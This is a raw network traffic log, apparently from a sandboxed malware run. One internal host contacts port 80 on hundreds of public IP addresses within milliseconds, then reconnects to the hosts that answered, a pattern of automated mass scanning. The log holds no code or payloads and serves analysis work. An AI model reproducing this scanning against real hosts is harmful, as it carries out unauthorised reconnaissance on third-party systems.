Jan 30, 2025 10:43:07.492163897 CET	62855	80	192.168.2.14	157.28.24.36
Jan 30, 2025 10:43:07.492167950 CET	62855	80	192.168.2.14	142.35.204.221
Jan 30, 2025 10:43:07.492167950 CET	62855	80	192.168.2.14	177.121.107.114
Jan 30, 2025 10:43:07.492178917 CET	62855	80	192.168.2.14	2.60.159.97
Jan 30, 2025 10:43:07.492185116 CET	62855	80	192.168.2.14	65.70.125.106
Jan 30, 2025 10:43:07.492194891 CET	62855	80	192.168.2.14	221.201.69.62
Jan 30, 2025 10:43:07.492197037 CET	62855	80	192.168.2.14	34.65.125.33
Jan 30, 2025 10:43:07.492203951 CET	62855	80	192.168.2.14	169.44.31.19
Jan 30, 2025 10:43:07.492208958 CET	62855	80	192.168.2.14	41.145.129.235
Jan 30, 2025 10:43:07.492213964 CET	62855	80	192.168.2.14	88.240.110.247
Jan 30, 2025 10:43:07.492217064 CET	62855	80	192.168.2.14	144.19.216.96
Jan 30, 2025 10:43:07.492233992 CET	62855	80	192.168.2.14	78.179.41.250
Jan 30, 2025 10:43:07.492235899 CET	62855	80	192.168.2.14	51.11.175.67
Jan 30, 2025 10:43:07.492239952 CET	62855	80	192.168.2.14	4.114.72.24
Jan 30, 2025 10:43:07.492240906 CET	62855	80	192.168.2.14	112.148.68.243
Jan 30, 2025 10:43:07.492254019 CET	62855	80	192.168.2.14	187.12.27.48
Jan 30, 2025 10:43:07.492259026 CET	62855	80	192.168.2.14	106.211.58.119
Jan 30, 2025 10:43:07.492259979 CET	62855	80	192.168.2.14	107.162.0.236
Jan 30, 2025 10:43:07.492259979 CET	62855	80	192.168.2.14	197.158.103.68
Jan 30, 2025 10:43:07.492263079 CET	62855	80	192.168.2.14	4.230.48.25
Jan 30, 2025 10:43:07.492263079 CET	62855	80	192.168.2.14	181.123.104.228
Jan 30, 2025 10:43:07.492273092 CET	62855	80	192.168.2.14	78.129.252.166
Jan 30, 2025 10:43:07.492285013 CET	62855	80	192.168.2.14	14.99.70.206
Jan 30, 2025 10:43:07.492288113 CET	62855	80	192.168.2.14	122.213.123.255
Jan 30, 2025 10:43:07.492291927 CET	62855	80	192.168.2.14	63.87.32.8
Jan 30, 2025 10:43:07.492316008 CET	62855	80	192.168.2.14	13.184.67.57
Jan 30, 2025 10:43:07.492316961 CET	62855	80	192.168.2.14	213.80.88.196
Jan 30, 2025 10:43:07.492317915 CET	62855	80	192.168.2.14	66.127.145.69
Jan 30, 2025 10:43:07.492320061 CET	62855	80	192.168.2.14	184.38.173.200
Jan 30, 2025 10:43:07.492322922 CET	62855	80	192.168.2.14	216.227.235.214
Jan 30, 2025 10:43:07.492326975 CET	62855	80	192.168.2.14	39.114.83.15
Jan 30, 2025 10:43:07.492346048 CET	62855	80	192.168.2.14	27.236.251.154
Jan 30, 2025 10:43:07.492347956 CET	62855	80	192.168.2.14	31.243.252.236
Jan 30, 2025 10:43:07.492347956 CET	62855	80	192.168.2.14	68.156.55.233
Jan 30, 2025 10:43:07.492351055 CET	62855	80	192.168.2.14	34.149.51.42
Jan 30, 2025 10:43:07.492352962 CET	62855	80	192.168.2.14	163.87.219.204
Jan 30, 2025 10:43:07.492355108 CET	62855	80	192.168.2.14	34.248.21.134
Jan 30, 2025 10:43:07.492357969 CET	62855	80	192.168.2.14	90.10.215.189
Jan 30, 2025 10:43:07.492357969 CET	62855	80	192.168.2.14	112.240.175.13
Jan 30, 2025 10:43:07.492360115 CET	62855	80	192.168.2.14	178.166.39.236
Jan 30, 2025 10:43:07.492366076 CET	62855	80	192.168.2.14	73.104.155.58
Jan 30, 2025 10:43:07.492374897 CET	62855	80	192.168.2.14	213.5.9.61
Jan 30, 2025 10:43:07.492384911 CET	62855	80	192.168.2.14	113.106.127.189
Jan 30, 2025 10:43:07.492392063 CET	62855	80	192.168.2.14	48.50.95.21
Jan 30, 2025 10:43:07.492404938 CET	62855	80	192.168.2.14	121.12.193.34
Jan 30, 2025 10:43:07.492408037 CET	62855	80	192.168.2.14	41.57.247.94
Jan 30, 2025 10:43:07.492414951 CET	62855	80	192.168.2.14	165.59.70.136
Jan 30, 2025 10:43:07.492425919 CET	62855	80	192.168.2.14	221.230.205.119
Jan 30, 2025 10:43:07.492432117 CET	62855	80	192.168.2.14	97.177.187.30
Jan 30, 2025 10:43:07.492434025 CET	62855	80	192.168.2.14	9.9.165.51
Jan 30, 2025 10:43:07.492445946 CET	62855	80	192.168.2.14	43.112.200.158
Jan 30, 2025 10:43:07.492449999 CET	62855	80	192.168.2.14	42.61.169.153
Jan 30, 2025 10:43:07.492453098 CET	62855	80	192.168.2.14	106.183.22.198
Jan 30, 2025 10:43:07.492465019 CET	62855	80	192.168.2.14	8.10.174.104
Jan 30, 2025 10:43:07.492469072 CET	62855	80	192.168.2.14	97.7.68.71
Jan 30, 2025 10:43:07.492470026 CET	62855	80	192.168.2.14	37.118.87.22
Jan 30, 2025 10:43:07.492486000 CET	62855	80	192.168.2.14	76.180.179.99
Jan 30, 2025 10:43:07.492486000 CET	62855	80	192.168.2.14	84.87.29.182
Jan 30, 2025 10:43:07.492490053 CET	62855	80	192.168.2.14	54.103.234.143
Jan 30, 2025 10:43:07.492491961 CET	62855	80	192.168.2.14	109.55.4.140
Jan 30, 2025 10:43:07.492491961 CET	62855	80	192.168.2.14	189.203.129.89
Jan 30, 2025 10:43:07.492491961 CET	62855	80	192.168.2.14	83.244.178.253
Jan 30, 2025 10:43:07.492505074 CET	62855	80	192.168.2.14	65.165.79.123
Jan 30, 2025 10:43:07.492507935 CET	62855	80	192.168.2.14	168.37.15.251
Jan 30, 2025 10:43:07.492523909 CET	62855	80	192.168.2.14	162.181.92.243
Jan 30, 2025 10:43:07.492523909 CET	62855	80	192.168.2.14	168.92.193.68
Jan 30, 2025 10:43:07.492538929 CET	62855	80	192.168.2.14	24.218.222.226
Jan 30, 2025 10:43:07.492554903 CET	62855	80	192.168.2.14	79.158.167.245
Jan 30, 2025 10:43:07.492557049 CET	62855	80	192.168.2.14	120.28.154.156
Jan 30, 2025 10:43:07.492557049 CET	62855	80	192.168.2.14	189.155.197.234
Jan 30, 2025 10:43:07.492563963 CET	62855	80	192.168.2.14	145.191.103.208
Jan 30, 2025 10:43:07.492564917 CET	62855	80	192.168.2.14	201.50.37.229
Jan 30, 2025 10:43:07.492582083 CET	62855	80	192.168.2.14	119.50.17.201
Jan 30, 2025 10:43:07.492582083 CET	62855	80	192.168.2.14	212.114.21.240
Jan 30, 2025 10:43:07.492583990 CET	62855	80	192.168.2.14	19.190.122.168
Jan 30, 2025 10:43:07.492599010 CET	62855	80	192.168.2.14	47.131.70.154
Jan 30, 2025 10:43:07.492603064 CET	62855	80	192.168.2.14	57.174.123.202
Jan 30, 2025 10:43:07.492603064 CET	62855	80	192.168.2.14	18.216.115.83
Jan 30, 2025 10:43:07.492607117 CET	62855	80	192.168.2.14	179.121.146.147
Jan 30, 2025 10:43:07.492609024 CET	62855	80	192.168.2.14	130.213.155.176
Jan 30, 2025 10:43:07.492624998 CET	62855	80	192.168.2.14	203.61.156.76
Jan 30, 2025 10:43:07.492624998 CET	62855	80	192.168.2.14	126.42.127.118
Jan 30, 2025 10:43:07.492631912 CET	62855	80	192.168.2.14	75.38.99.139
Jan 30, 2025 10:43:07.492644072 CET	62855	80	192.168.2.14	59.25.17.42
Jan 30, 2025 10:43:07.492665052 CET	62855	80	192.168.2.14	149.74.255.100
Jan 30, 2025 10:43:07.492666006 CET	62855	80	192.168.2.14	72.89.35.239
Jan 30, 2025 10:43:07.492669106 CET	62855	80	192.168.2.14	174.58.117.22
Jan 30, 2025 10:43:07.492669106 CET	62855	80	192.168.2.14	99.158.0.127
Jan 30, 2025 10:43:07.492669106 CET	62855	80	192.168.2.14	77.56.117.46
Jan 30, 2025 10:43:07.492676020 CET	62855	80	192.168.2.14	211.92.26.60
Jan 30, 2025 10:43:07.492676020 CET	62855	80	192.168.2.14	173.73.137.172
Jan 30, 2025 10:43:07.492676020 CET	62855	80	192.168.2.14	186.176.31.66
Jan 30, 2025 10:43:07.492681026 CET	62855	80	192.168.2.14	114.35.224.8
Jan 30, 2025 10:43:07.492681026 CET	62855	80	192.168.2.14	209.90.142.145
Jan 30, 2025 10:43:07.492681026 CET	62855	80	192.168.2.14	159.195.164.125
Jan 30, 2025 10:43:07.492681026 CET	62855	80	192.168.2.14	49.16.124.61
Jan 30, 2025 10:43:07.492685080 CET	62855	80	192.168.2.14	168.219.160.125
Jan 30, 2025 10:43:07.492685080 CET	62855	80	192.168.2.14	193.86.198.140
Jan 30, 2025 10:43:07.492685080 CET	62855	80	192.168.2.14	70.34.185.123
Jan 30, 2025 10:43:07.492686033 CET	62855	80	192.168.2.14	5.250.231.55
Jan 30, 2025 10:43:07.492685080 CET	62855	80	192.168.2.14	103.230.158.25
Jan 30, 2025 10:43:07.492685080 CET	62855	80	192.168.2.14	193.194.240.128
Jan 30, 2025 10:43:07.492690086 CET	62855	80	192.168.2.14	143.149.10.104
Jan 30, 2025 10:43:07.492690086 CET	62855	80	192.168.2.14	85.93.21.106
Jan 30, 2025 10:43:07.492706060 CET	62855	80	192.168.2.14	34.156.211.36
Jan 30, 2025 10:43:07.492708921 CET	62855	80	192.168.2.14	75.255.136.168
Jan 30, 2025 10:43:07.492710114 CET	62855	80	192.168.2.14	114.141.2.2
Jan 30, 2025 10:43:07.492712975 CET	62855	80	192.168.2.14	147.179.26.199
Jan 30, 2025 10:43:07.492716074 CET	62855	80	192.168.2.14	168.150.194.211
Jan 30, 2025 10:43:07.492727995 CET	62855	80	192.168.2.14	67.50.149.151
Jan 30, 2025 10:43:07.492731094 CET	62855	80	192.168.2.14	68.176.157.248
Jan 30, 2025 10:43:07.492736101 CET	62855	80	192.168.2.14	114.129.169.157
Jan 30, 2025 10:43:07.492743969 CET	62855	80	192.168.2.14	149.188.155.244
Jan 30, 2025 10:43:07.492748022 CET	62855	80	192.168.2.14	45.252.74.141
Jan 30, 2025 10:43:07.492748976 CET	62855	80	192.168.2.14	136.2.170.154
Jan 30, 2025 10:43:07.492750883 CET	62855	80	192.168.2.14	210.204.38.181
Jan 30, 2025 10:43:07.492755890 CET	62855	80	192.168.2.14	45.217.3.78
Jan 30, 2025 10:43:07.492772102 CET	62855	80	192.168.2.14	100.141.55.197
Jan 30, 2025 10:43:07.492772102 CET	62855	80	192.168.2.14	107.143.143.120
Jan 30, 2025 10:43:07.492774010 CET	62855	80	192.168.2.14	188.0.124.150
Jan 30, 2025 10:43:07.492779970 CET	62855	80	192.168.2.14	41.190.240.46
Jan 30, 2025 10:43:07.492790937 CET	62855	80	192.168.2.14	155.140.49.36
Jan 30, 2025 10:43:07.492798090 CET	62855	80	192.168.2.14	14.162.195.32
Jan 30, 2025 10:43:07.492803097 CET	62855	80	192.168.2.14	100.150.37.220
Jan 30, 2025 10:43:07.492804050 CET	62855	80	192.168.2.14	27.109.139.165
Jan 30, 2025 10:43:07.492804050 CET	62855	80	192.168.2.14	70.178.30.156
Jan 30, 2025 10:43:07.492810965 CET	62855	80	192.168.2.14	42.62.128.136
Jan 30, 2025 10:43:07.492818117 CET	62855	80	192.168.2.14	80.126.140.197
Jan 30, 2025 10:43:07.492830038 CET	62855	80	192.168.2.14	197.48.85.4
Jan 30, 2025 10:43:07.492832899 CET	62855	80	192.168.2.14	43.64.43.69
Jan 30, 2025 10:43:07.492836952 CET	62855	80	192.168.2.14	203.85.237.12
Jan 30, 2025 10:43:07.492841005 CET	62855	80	192.168.2.14	170.120.177.110
Jan 30, 2025 10:43:07.492846966 CET	62855	80	192.168.2.14	93.89.107.53
Jan 30, 2025 10:43:07.492856026 CET	62855	80	192.168.2.14	4.162.8.131
Jan 30, 2025 10:43:07.492872000 CET	62855	80	192.168.2.14	90.68.56.160
Jan 30, 2025 10:43:07.492877960 CET	62855	80	192.168.2.14	92.102.28.167
Jan 30, 2025 10:43:07.492878914 CET	62855	80	192.168.2.14	218.95.206.191
Jan 30, 2025 10:43:07.492881060 CET	62855	80	192.168.2.14	194.127.144.141
Jan 30, 2025 10:43:07.492887974 CET	62855	80	192.168.2.14	96.153.91.1
Jan 30, 2025 10:43:07.492901087 CET	62855	80	192.168.2.14	23.2.22.33
Jan 30, 2025 10:43:07.492902040 CET	62855	80	192.168.2.14	9.127.34.62
Jan 30, 2025 10:43:07.492904902 CET	62855	80	192.168.2.14	217.153.182.83
Jan 30, 2025 10:43:07.492907047 CET	62855	80	192.168.2.14	105.42.122.47
Jan 30, 2025 10:43:07.492908955 CET	62855	80	192.168.2.14	43.105.103.139
Jan 30, 2025 10:43:07.492913961 CET	62855	80	192.168.2.14	34.154.0.96
Jan 30, 2025 10:43:07.492928982 CET	62855	80	192.168.2.14	115.195.49.150
Jan 30, 2025 10:43:07.492930889 CET	62855	80	192.168.2.14	183.229.110.85
Jan 30, 2025 10:43:07.492942095 CET	62855	80	192.168.2.14	20.136.210.75
Jan 30, 2025 10:43:07.492947102 CET	62855	80	192.168.2.14	83.152.155.137
Jan 30, 2025 10:43:07.492949963 CET	62855	80	192.168.2.14	220.9.69.133
Jan 30, 2025 10:43:07.492957115 CET	62855	80	192.168.2.14	189.42.93.169
Jan 30, 2025 10:43:07.492964983 CET	62855	80	192.168.2.14	75.84.206.195
Jan 30, 2025 10:43:07.492971897 CET	62855	80	192.168.2.14	87.35.46.76
Jan 30, 2025 10:43:07.492971897 CET	62855	80	192.168.2.14	24.112.73.123
Jan 30, 2025 10:43:07.492976904 CET	62855	80	192.168.2.14	219.51.88.125
Jan 30, 2025 10:43:07.492978096 CET	62855	80	192.168.2.14	73.250.23.39
Jan 30, 2025 10:43:07.492994070 CET	62855	80	192.168.2.14	159.67.80.87
Jan 30, 2025 10:43:07.492995977 CET	62855	80	192.168.2.14	105.191.136.172
Jan 30, 2025 10:43:07.492997885 CET	62855	80	192.168.2.14	9.187.225.135
Jan 30, 2025 10:43:07.492999077 CET	62855	80	192.168.2.14	165.200.29.193
Jan 30, 2025 10:43:07.493012905 CET	62855	80	192.168.2.14	89.7.32.228
Jan 30, 2025 10:43:07.493016005 CET	62855	80	192.168.2.14	208.120.253.31
Jan 30, 2025 10:43:07.493019104 CET	62855	80	192.168.2.14	103.54.16.227
Jan 30, 2025 10:43:07.493040085 CET	62855	80	192.168.2.14	70.57.109.111
Jan 30, 2025 10:43:07.493041039 CET	62855	80	192.168.2.14	151.205.50.229
Jan 30, 2025 10:43:07.493041039 CET	62855	80	192.168.2.14	110.216.9.176
Jan 30, 2025 10:43:07.493041039 CET	62855	80	192.168.2.14	136.100.244.61
Jan 30, 2025 10:43:07.493042946 CET	62855	80	192.168.2.14	97.27.117.247
Jan 30, 2025 10:43:07.493042946 CET	62855	80	192.168.2.14	89.18.47.0
Jan 30, 2025 10:43:07.493042946 CET	62855	80	192.168.2.14	86.156.156.238
Jan 30, 2025 10:43:07.493045092 CET	62855	80	192.168.2.14	25.197.241.173
Jan 30, 2025 10:43:07.493048906 CET	62855	80	192.168.2.14	221.224.163.27
Jan 30, 2025 10:43:07.493063927 CET	62855	80	192.168.2.14	65.45.209.242
Jan 30, 2025 10:43:07.493065119 CET	62855	80	192.168.2.14	120.94.252.36
Jan 30, 2025 10:43:07.493073940 CET	62855	80	192.168.2.14	69.102.75.140
Jan 30, 2025 10:43:07.493073940 CET	62855	80	192.168.2.14	39.201.173.133
Jan 30, 2025 10:43:07.493086100 CET	62855	80	192.168.2.14	152.48.22.250
Jan 30, 2025 10:43:07.493093967 CET	62855	80	192.168.2.14	45.4.4.214
Jan 30, 2025 10:43:07.493107080 CET	62855	80	192.168.2.14	137.238.33.119
Jan 30, 2025 10:43:07.493114948 CET	62855	80	192.168.2.14	46.29.173.69
Jan 30, 2025 10:43:07.493118048 CET	62855	80	192.168.2.14	212.173.122.197
Jan 30, 2025 10:43:07.493118048 CET	62855	80	192.168.2.14	84.28.251.59
Jan 30, 2025 10:43:07.493122101 CET	62855	80	192.168.2.14	39.166.151.71
Jan 30, 2025 10:43:07.493129015 CET	62855	80	192.168.2.14	52.172.250.127
Jan 30, 2025 10:43:07.493129015 CET	62855	80	192.168.2.14	102.119.218.32
Jan 30, 2025 10:43:07.493129015 CET	62855	80	192.168.2.14	94.1.30.245
Jan 30, 2025 10:43:07.493129015 CET	62855	80	192.168.2.14	202.164.231.27
Jan 30, 2025 10:43:07.493129015 CET	62855	80	192.168.2.14	95.160.175.88
Jan 30, 2025 10:43:07.493134022 CET	62855	80	192.168.2.14	45.246.253.89
Jan 30, 2025 10:43:07.493134022 CET	62855	80	192.168.2.14	99.95.11.79
Jan 30, 2025 10:43:07.493134022 CET	62855	80	192.168.2.14	48.146.135.149
Jan 30, 2025 10:43:07.493138075 CET	62855	80	192.168.2.14	61.218.197.75
Jan 30, 2025 10:43:07.493140936 CET	62855	80	192.168.2.14	222.90.98.26
Jan 30, 2025 10:43:07.493143082 CET	62855	80	192.168.2.14	205.190.213.193
Jan 30, 2025 10:43:07.493149996 CET	62855	80	192.168.2.14	97.202.37.41
Jan 30, 2025 10:43:07.493155956 CET	62855	80	192.168.2.14	211.83.167.58
Jan 30, 2025 10:43:07.493160009 CET	62855	80	192.168.2.14	35.68.70.214
Jan 30, 2025 10:43:07.493175030 CET	62855	80	192.168.2.14	99.10.92.180
Jan 30, 2025 10:43:07.493175983 CET	62855	80	192.168.2.14	161.132.211.62
Jan 30, 2025 10:43:07.493180037 CET	62855	80	192.168.2.14	218.77.4.123
Jan 30, 2025 10:43:07.493194103 CET	62855	80	192.168.2.14	201.79.172.135
Jan 30, 2025 10:43:07.493195057 CET	62855	80	192.168.2.14	154.65.241.134
Jan 30, 2025 10:43:07.493196964 CET	62855	80	192.168.2.14	101.5.211.205
Jan 30, 2025 10:43:07.493197918 CET	62855	80	192.168.2.14	143.4.194.74
Jan 30, 2025 10:43:07.493200064 CET	62855	80	192.168.2.14	201.26.66.11
Jan 30, 2025 10:43:07.493210077 CET	62855	80	192.168.2.14	221.69.167.116
Jan 30, 2025 10:43:07.493215084 CET	62855	80	192.168.2.14	213.244.40.17
Jan 30, 2025 10:43:07.493215084 CET	62855	80	192.168.2.14	8.97.227.191
Jan 30, 2025 10:43:07.493216038 CET	62855	80	192.168.2.14	74.156.60.214
Jan 30, 2025 10:43:07.493232012 CET	62855	80	192.168.2.14	66.92.174.197
Jan 30, 2025 10:43:07.493235111 CET	62855	80	192.168.2.14	94.150.33.36
Jan 30, 2025 10:43:07.493237019 CET	62855	80	192.168.2.14	142.138.132.254
Jan 30, 2025 10:43:07.493242979 CET	62855	80	192.168.2.14	105.3.184.172
Jan 30, 2025 10:43:07.493252039 CET	62855	80	192.168.2.14	32.229.203.88
Jan 30, 2025 10:43:07.493258953 CET	62855	80	192.168.2.14	13.171.207.191
Jan 30, 2025 10:43:07.493264914 CET	62855	80	192.168.2.14	35.242.217.99
Jan 30, 2025 10:43:07.493277073 CET	62855	80	192.168.2.14	139.48.181.30
Jan 30, 2025 10:43:07.493278980 CET	62855	80	192.168.2.14	165.126.146.76
Jan 30, 2025 10:43:07.493280888 CET	62855	80	192.168.2.14	119.219.17.5
Jan 30, 2025 10:43:07.493283987 CET	62855	80	192.168.2.14	145.48.216.140
Jan 30, 2025 10:43:07.493298054 CET	62855	80	192.168.2.14	155.213.43.146
Jan 30, 2025 10:43:07.493300915 CET	62855	80	192.168.2.14	17.160.220.23
Jan 30, 2025 10:43:07.493319035 CET	62855	80	192.168.2.14	17.219.74.145
Jan 30, 2025 10:43:07.493319988 CET	62855	80	192.168.2.14	39.96.101.4
Jan 30, 2025 10:43:07.493323088 CET	62855	80	192.168.2.14	89.125.252.3
Jan 30, 2025 10:43:07.493326902 CET	62855	80	192.168.2.14	188.67.208.105
Jan 30, 2025 10:43:07.494056940 CET	36334	80	192.168.2.14	51.121.157.167
Jan 30, 2025 10:43:07.495006084 CET	59464	80	192.168.2.14	97.108.248.57
Jan 30, 2025 10:43:07.496332884 CET	36284	80	192.168.2.14	68.138.249.105
Jan 30, 2025 10:43:07.496830940 CET	80	62855	116.146.162.253	192.168.2.14
Jan 30, 2025 10:43:07.496845961 CET	80	62855	140.38.79.111	192.168.2.14
Jan 30, 2025 10:43:07.496860027 CET	80	62855	111.185.169.137	192.168.2.14
Jan 30, 2025 10:43:07.496872902 CET	80	62855	155.79.148.101	192.168.2.14
Jan 30, 2025 10:43:07.496886015 CET	80	62855	86.12.127.77	192.168.2.14
Jan 30, 2025 10:43:07.496896982 CET	80	62855	216.35.1.242	192.168.2.14
Jan 30, 2025 10:43:07.496910095 CET	80	62855	71.61.126.160	192.168.2.14
Jan 30, 2025 10:43:07.496922970 CET	80	62855	208.22.142.137	192.168.2.14
Jan 30, 2025 10:43:07.496934891 CET	80	62855	176.40.25.167	192.168.2.14
Jan 30, 2025 10:43:07.496952057 CET	62855	80	192.168.2.14	116.146.162.253
Jan 30, 2025 10:43:07.496963978 CET	62855	80	192.168.2.14	86.12.127.77
Jan 30, 2025 10:43:07.496964931 CET	80	62855	153.78.202.93	192.168.2.14
Jan 30, 2025 10:43:07.496967077 CET	62855	80	192.168.2.14	111.185.169.137
Jan 30, 2025 10:43:07.496970892 CET	62855	80	192.168.2.14	71.61.126.160
Jan 30, 2025 10:43:07.496970892 CET	62855	80	192.168.2.14	216.35.1.242
Jan 30, 2025 10:43:07.496970892 CET	62855	80	192.168.2.14	140.38.79.111
Jan 30, 2025 10:43:07.496978998 CET	80	62855	99.42.56.67	192.168.2.14
Jan 30, 2025 10:43:07.496984005 CET	62855	80	192.168.2.14	155.79.148.101
Jan 30, 2025 10:43:07.496984005 CET	62855	80	192.168.2.14	208.22.142.137
Jan 30, 2025 10:43:07.496984005 CET	62855	80	192.168.2.14	176.40.25.167
Jan 30, 2025 10:43:07.496993065 CET	80	62855	46.193.207.161	192.168.2.14
Jan 30, 2025 10:43:07.497005939 CET	80	62855	179.74.161.214	192.168.2.14
Jan 30, 2025 10:43:07.497034073 CET	62855	80	192.168.2.14	153.78.202.93
Jan 30, 2025 10:43:07.497034073 CET	62855	80	192.168.2.14	179.74.161.214
Jan 30, 2025 10:43:07.497046947 CET	62855	80	192.168.2.14	46.193.207.161
Jan 30, 2025 10:43:07.497065067 CET	62855	80	192.168.2.14	99.42.56.67
Jan 30, 2025 10:43:07.497133970 CET	80	62855	213.66.22.197	192.168.2.14
Jan 30, 2025 10:43:07.497145891 CET	80	62855	32.203.80.60	192.168.2.14
Jan 30, 2025 10:43:07.497167110 CET	80	62855	54.110.162.161	192.168.2.14
Jan 30, 2025 10:43:07.497174978 CET	62855	80	192.168.2.14	213.66.22.197
Jan 30, 2025 10:43:07.497179985 CET	80	62855	138.44.154.105	192.168.2.14
Jan 30, 2025 10:43:07.497186899 CET	62855	80	192.168.2.14	32.203.80.60
Jan 30, 2025 10:43:07.497193098 CET	80	62855	117.121.51.21	192.168.2.14
Jan 30, 2025 10:43:07.497205973 CET	80	62855	128.233.189.196	192.168.2.14
Jan 30, 2025 10:43:07.497217894 CET	80	62855	128.182.63.41	192.168.2.14
Jan 30, 2025 10:43:07.497221947 CET	62855	80	192.168.2.14	54.110.162.161
Jan 30, 2025 10:43:07.497226954 CET	62855	80	192.168.2.14	117.121.51.21
Jan 30, 2025 10:43:07.497229099 CET	80	62855	146.162.241.133	192.168.2.14
Jan 30, 2025 10:43:07.497231007 CET	62855	80	192.168.2.14	138.44.154.105
Jan 30, 2025 10:43:07.497240067 CET	80	62855	164.58.176.234	192.168.2.14
Jan 30, 2025 10:43:07.497248888 CET	62855	80	192.168.2.14	128.233.189.196
Jan 30, 2025 10:43:07.497253895 CET	62855	80	192.168.2.14	128.182.63.41
Jan 30, 2025 10:43:07.497261047 CET	80	62855	195.238.19.213	192.168.2.14
Jan 30, 2025 10:43:07.497275114 CET	62855	80	192.168.2.14	146.162.241.133
Jan 30, 2025 10:43:07.497277021 CET	80	62855	162.4.48.46	192.168.2.14
Jan 30, 2025 10:43:07.497289896 CET	80	62855	142.122.170.3	192.168.2.14
Jan 30, 2025 10:43:07.497289896 CET	62855	80	192.168.2.14	164.58.176.234
Jan 30, 2025 10:43:07.497302055 CET	80	62855	185.95.227.125	192.168.2.14
Jan 30, 2025 10:43:07.497309923 CET	62855	80	192.168.2.14	195.238.19.213
Jan 30, 2025 10:43:07.497314930 CET	80	62855	63.113.108.120	192.168.2.14
Jan 30, 2025 10:43:07.497327089 CET	80	62855	83.49.184.91	192.168.2.14
Jan 30, 2025 10:43:07.497329950 CET	62855	80	192.168.2.14	142.122.170.3
Jan 30, 2025 10:43:07.497329950 CET	62855	80	192.168.2.14	162.4.48.46
Jan 30, 2025 10:43:07.497349977 CET	62855	80	192.168.2.14	63.113.108.120
Jan 30, 2025 10:43:07.497349977 CET	62855	80	192.168.2.14	185.95.227.125
Jan 30, 2025 10:43:07.497369051 CET	62855	80	192.168.2.14	83.49.184.91
Jan 30, 2025 10:43:07.497932911 CET	39344	80	192.168.2.14	106.111.211.33
Jan 30, 2025 10:43:07.499138117 CET	42056	80	192.168.2.14	99.52.36.64
Jan 30, 2025 10:43:07.500122070 CET	56316	80	192.168.2.14	86.228.157.254
Jan 30, 2025 10:43:07.501141071 CET	59460	80	192.168.2.14	63.123.128.167
Jan 30, 2025 10:43:07.502163887 CET	57202	80	192.168.2.14	104.234.182.98
Jan 30, 2025 10:43:07.503130913 CET	58282	80	192.168.2.14	74.171.106.18
Jan 30, 2025 10:43:07.503838062 CET	33008	80	192.168.2.14	176.169.106.94
Jan 30, 2025 10:43:07.504528999 CET	39102	80	192.168.2.14	131.125.12.195
Jan 30, 2025 10:43:07.504965067 CET	80	56316	86.228.157.254	192.168.2.14
Jan 30, 2025 10:43:07.505012989 CET	56316	80	192.168.2.14	86.228.157.254
Jan 30, 2025 10:43:07.505244017 CET	49888	80	192.168.2.14	25.106.63.88
Jan 30, 2025 10:43:07.505994081 CET	57600	80	192.168.2.14	46.194.105.28
Jan 30, 2025 10:43:07.506715059 CET	44592	80	192.168.2.14	82.95.255.220
Jan 30, 2025 10:43:07.507396936 CET	49212	80	192.168.2.14	111.171.81.116
Jan 30, 2025 10:43:07.508148909 CET	35452	80	192.168.2.14	69.220.86.47
Jan 30, 2025 10:43:07.508874893 CET	34888	80	192.168.2.14	135.136.191.113
Jan 30, 2025 10:43:07.509583950 CET	58796	80	192.168.2.14	145.226.147.93
Jan 30, 2025 10:43:07.510281086 CET	33700	80	192.168.2.14	213.166.156.152
Jan 30, 2025 10:43:07.511003017 CET	47102	80	192.168.2.14	181.254.228.55
Jan 30, 2025 10:43:07.511699915 CET	33456	80	192.168.2.14	113.2.250.15
Jan 30, 2025 10:43:07.512449980 CET	46078	80	192.168.2.14	118.14.191.105
Jan 30, 2025 10:43:07.513149977 CET	43814	80	192.168.2.14	67.162.169.69
Jan 30, 2025 10:43:07.513901949 CET	47466	80	192.168.2.14	122.13.196.224
Jan 30, 2025 10:43:07.514645100 CET	50418	80	192.168.2.14	159.173.59.75
Jan 30, 2025 10:43:07.515374899 CET	34748	80	192.168.2.14	40.39.22.91
Jan 30, 2025 10:43:07.516259909 CET	45986	80	192.168.2.14	116.146.162.253
Jan 30, 2025 10:43:07.516556025 CET	80	33456	113.2.250.15	192.168.2.14
Jan 30, 2025 10:43:07.516618967 CET	33456	80	192.168.2.14	113.2.250.15
Jan 30, 2025 10:43:07.517026901 CET	46934	80	192.168.2.14	111.185.169.137
Jan 30, 2025 10:43:07.517797947 CET	35364	80	192.168.2.14	86.12.127.77
Jan 30, 2025 10:43:07.518524885 CET	46900	80	192.168.2.14	216.35.1.242
Jan 30, 2025 10:43:07.519299030 CET	46152	80	192.168.2.14	140.38.79.111
Jan 30, 2025 10:43:07.520096064 CET	58678	80	192.168.2.14	71.61.126.160
Jan 30, 2025 10:43:07.520826101 CET	49450	80	192.168.2.14	208.22.142.137
Jan 30, 2025 10:43:07.521523952 CET	55186	80	192.168.2.14	155.79.148.101
Jan 30, 2025 10:43:07.522248030 CET	60262	80	192.168.2.14	176.40.25.167
Jan 30, 2025 10:43:07.522964001 CET	49380	80	192.168.2.14	153.78.202.93
Jan 30, 2025 10:43:07.523715973 CET	36694	80	192.168.2.14	46.193.207.161
Jan 30, 2025 10:43:07.524414062 CET	50266	80	192.168.2.14	179.74.161.214
Jan 30, 2025 10:43:07.525002003 CET	80	58678	71.61.126.160	192.168.2.14
Jan 30, 2025 10:43:07.525052071 CET	58678	80	192.168.2.14	71.61.126.160
Jan 30, 2025 10:43:07.525182962 CET	54352	80	192.168.2.14	99.42.56.67
Jan 30, 2025 10:43:07.525935888 CET	50826	80	192.168.2.14	213.66.22.197
Jan 30, 2025 10:43:07.526638031 CET	57790	80	192.168.2.14	32.203.80.60
Jan 30, 2025 10:43:07.527412891 CET	42610	80	192.168.2.14	54.110.162.161
Jan 30, 2025 10:43:07.528140068 CET	38330	80	192.168.2.14	138.44.154.105
Jan 30, 2025 10:43:07.528920889 CET	46940	80	192.168.2.14	117.121.51.21
Jan 30, 2025 10:43:07.529637098 CET	40482	80	192.168.2.14	128.233.189.196
Jan 30, 2025 10:43:07.530350924 CET	55386	80	192.168.2.14	128.182.63.41
Jan 30, 2025 10:43:07.531086922 CET	57954	80	192.168.2.14	146.162.241.133
Jan 30, 2025 10:43:07.531819105 CET	46994	80	192.168.2.14	164.58.176.234
Jan 30, 2025 10:43:07.532556057 CET	50854	80	192.168.2.14	195.238.19.213
Jan 30, 2025 10:43:07.533329010 CET	60242	80	192.168.2.14	162.4.48.46
Jan 30, 2025 10:43:07.534015894 CET	43816	80	192.168.2.14	142.122.170.3
Jan 30, 2025 10:43:07.534702063 CET	35932	80	192.168.2.14	63.113.108.120
